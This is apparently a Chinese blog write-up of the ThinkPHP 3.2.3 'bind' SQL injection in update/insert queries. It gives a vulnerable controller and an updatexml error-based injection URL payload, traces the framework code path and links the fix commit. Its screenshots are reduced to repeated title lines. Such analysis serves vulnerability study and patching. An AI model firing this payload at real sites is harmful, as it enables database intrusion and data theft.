漏洞代码:

    public function test01()
    {
        $User = M("user");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $value = $User->where($user)->save($data);
        var_dump($value);
}

payload:http://tp32.com/index.php/home/index/test01?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&pwd=bbb

Thinkphp 3.2.3 bind注入 update/insert

漏洞分析:

老样子先进入where方法中进行参数构造

Thinkphp 3.2.3 bind注入 update/insert

Thinkphp 3.2.3 bind注入 update/insert

然后进入 save 方法中 _parseOptions 进行字段验证

Thinkphp 3.2.3 bind注入 update/insert

Thinkphp 3.2.3 bind注入 update/insert

然后重点 出来了之后 进入到 update 方法中

Thinkphp 3.2.3 bind注入 update/insert

先是进行参数绑定

Thinkphp 3.2.3 bind注入 update/insert

然后进行 parseWhere

Thinkphp 3.2.3 bind注入 update/insert

再进入 parseWhereItem where子单元分析

Thinkphp 3.2.3 bind注入 update/insert

其中到来 bind表达式的处理分支,拼接=:

Thinkphp 3.2.3 bind注入 update/insert

此时的语句为如下

Thinkphp 3.2.3 bind注入 update/insert

出来之后 继续进入到 execute 方法中,重点来了

Thinkphp 3.2.3 bind注入 update/insert

Thinkphp 3.2.3 bind注入 update/insert

虽然上面bind表达式进行了拼接=:,但是这个strtr函数会进行处理,最后语句成为如下

Thinkphp 3.2.3 bind注入 update/insert

修复:

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

Thinkphp 3.2.3 bind注入 update/insert

参考文章:https://y4er.com/post/thinkphp3-vuln/

相关文章:

  • 2021-06-15
  • 2022-01-29
  • 2022-12-23
  • 2021-10-04
  • 2021-06-10
  • 2021-06-13
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-11-05
  • 2019-07-31
  • 2019-08-01
  • 2021-10-06
  • 2022-01-07
  • 2022-12-23
  • 2021-08-09
相关资源
相似解决方案